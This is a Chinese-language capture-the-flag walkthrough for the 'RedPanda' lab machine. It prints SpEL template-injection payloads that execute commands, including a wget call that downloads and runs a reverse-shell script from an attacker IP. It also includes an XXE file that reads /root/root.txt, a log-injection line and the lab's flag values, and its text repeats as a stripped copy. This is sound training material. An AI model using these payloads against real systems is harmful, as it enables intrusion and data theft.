[Meachines] [Easy] RedPanda SSTI+Java逆向分析+XXE实体注入
字数 1238 2025-08-29 08:30:25

RedPanda靶机渗透测试教学文档

1. 信息收集

1.1 目标识别

  • IP地址: 10.10.11.170
  • 开放端口:
    • 22/tcp (SSH - OpenSSH 8.2p1 Ubuntu)
    • 8080/tcp (HTTP - Spring Boot应用)

1.2 Web应用分析

  • 应用标题: "Red Panda Search | Made with Spring Boot"
  • 作者信息: wooden_k
  • 前端参考: 基于Codepen上的设计(https://codepen.io/khr2003/pen/BGZdXw)
  • 资源文件:
    • /css/panda.css
    • /css/main.css

2. 漏洞利用

2.1 SSTI (服务器端模板注入)

漏洞位置: HTTP服务(8080端口)存在模板注入漏洞

利用方法:

  1. 基本测试:

    http://10.10.11.170:8080/search?name=*{8*8}
    

    如果返回64,确认存在SSTI漏洞

  2. 命令执行载荷:

    *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('命令').getInputStream())}
    
  3. 完整利用步骤:

    • 下载反向shell脚本:
      name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('wget http://攻击者IP:9999/rev.sh').getInputStream())}
      
    • 赋予执行权限:
      name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('chmod +x rev.sh').getInputStream())}
      
    • 执行脚本:
      name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('./rev.sh').getInputStream())}
      

2.2 权限提升(Java逆向分析+XXE)

2.2.1 获取Java应用

  • 从目标下载Java应用:
    scp -i ./id_rsa woodenk@10.10.11.170:/opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar ./
    

2.2.2 应用功能分析

  • 解析/opt/panda_search/redpanda.log文件
  • 提取访问JPG图片的请求信息
  • 读取图片的Artist属性
  • 更新对应/credits/_creds.xml文件中的访问统计数据

2.2.3 XXE漏洞利用

  1. 准备恶意图片:

    exiftool -Artist="../tmp/exp" exp.jpg
    
    • Artist属性设置为"../tmp/exp"实现目录穿越
  2. 创建恶意XML文件(/tmp/exp_creds.xml):

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [
      <!ENTITY file SYSTEM "/root/root.txt">
    ]>
    <credits>
      <author>xxx</author>
      <image>
        <uri>tmp/exp.jpg</uri>
        <views>0</views>
        <data>&file;</data>
      </image>
      <totalviews>0</totalviews>
    </credits>
    
  3. 触发漏洞:

    • 修改日志文件:
      echo "200||test||test|tmp/exp.jpg" >> /opt/panda_search/redpanda.log
      
    • 应用会读取exp.jpg的Artist属性("../tmp/exp")
    • 尝试加载/tmp/exp_creds.xml
    • XML中的外部实体(file)会读取/root/root.txt内容

3. 关键文件路径

  • 用户flag: /home/woodenk/user.txt (82505dbb5ab9adee0a0421d9b63840a7)
  • root flag: /root/root.txt (4f85a578d0e89b0aa9ad4f525fd3213b)
  • 日志文件: /opt/panda_search/redpanda.log
  • Java应用: /opt/credit-score/LogParser/final/target/final-1..0-jar-with-dependencies.jar

4. 技术要点总结

  1. SSTI利用:

    • Spring Boot应用未对用户输入进行过滤
    • 使用SpEL表达式实现RCE
  2. XXE利用:

    • 通过图片元数据(Artist)实现路径控制
    • 利用XML外部实体注入读取敏感文件
    • 需要logs组权限修改日志文件触发
  3. 权限提升路径:

    • 初始访问: SSTI → RCE
    • 权限提升: 分析Java应用 → 发现XXE → 读取root flag
RedPanda靶机渗透测试教学文档 1. 信息收集 1.1 目标识别 IP地址: 10.10.11.170 开放端口: 22/tcp (SSH - OpenSSH 8.2p1 Ubuntu) 8080/tcp (HTTP - Spring Boot应用) 1.2 Web应用分析 应用标题: "Red Panda Search | Made with Spring Boot" 作者信息: wooden_ k 前端参考: 基于Codepen上的设计(https://codepen.io/khr2003/pen/BGZdXw) 资源文件: /css/panda.css /css/main.css 2. 漏洞利用 2.1 SSTI (服务器端模板注入) 漏洞位置 : HTTP服务(8080端口)存在模板注入漏洞 利用方法 : 基本测试: 如果返回64,确认存在SSTI漏洞 命令执行载荷: 完整利用步骤: 下载反向shell脚本: 赋予执行权限: 执行脚本: 2.2 权限提升(Java逆向分析+XXE) 2.2.1 获取Java应用 从目标下载Java应用: 2.2.2 应用功能分析 解析/opt/panda_ search/redpanda.log文件 提取访问JPG图片的请求信息 读取图片的Artist属性 更新对应/credits/ _ creds.xml文件中的访问统计数据 2.2.3 XXE漏洞利用 准备恶意图片: Artist属性设置为"../tmp/exp"实现目录穿越 创建恶意XML文件(/tmp/exp_ creds.xml): 触发漏洞: 修改日志文件: 应用会读取exp.jpg的Artist属性("../tmp/exp") 尝试加载/tmp/exp_ creds.xml XML中的外部实体(file)会读取/root/root.txt内容 3. 关键文件路径 用户flag: /home/woodenk/user.txt (82505dbb5ab9adee0a0421d9b63840a7) root flag: /root/root.txt (4f85a578d0e89b0aa9ad4f525fd3213b) 日志文件: /opt/panda_ search/redpanda.log Java应用: /opt/credit-score/LogParser/final/target/final-1..0-jar-with-dependencies.jar 4. 技术要点总结 SSTI利用 : Spring Boot应用未对用户输入进行过滤 使用SpEL表达式实现RCE XXE利用 : 通过图片元数据(Artist)实现路径控制 利用XML外部实体注入读取敏感文件 需要logs组权限修改日志文件触发 权限提升路径 : 初始访问: SSTI → RCE 权限提升: 分析Java应用 → 发现XXE → 读取root flag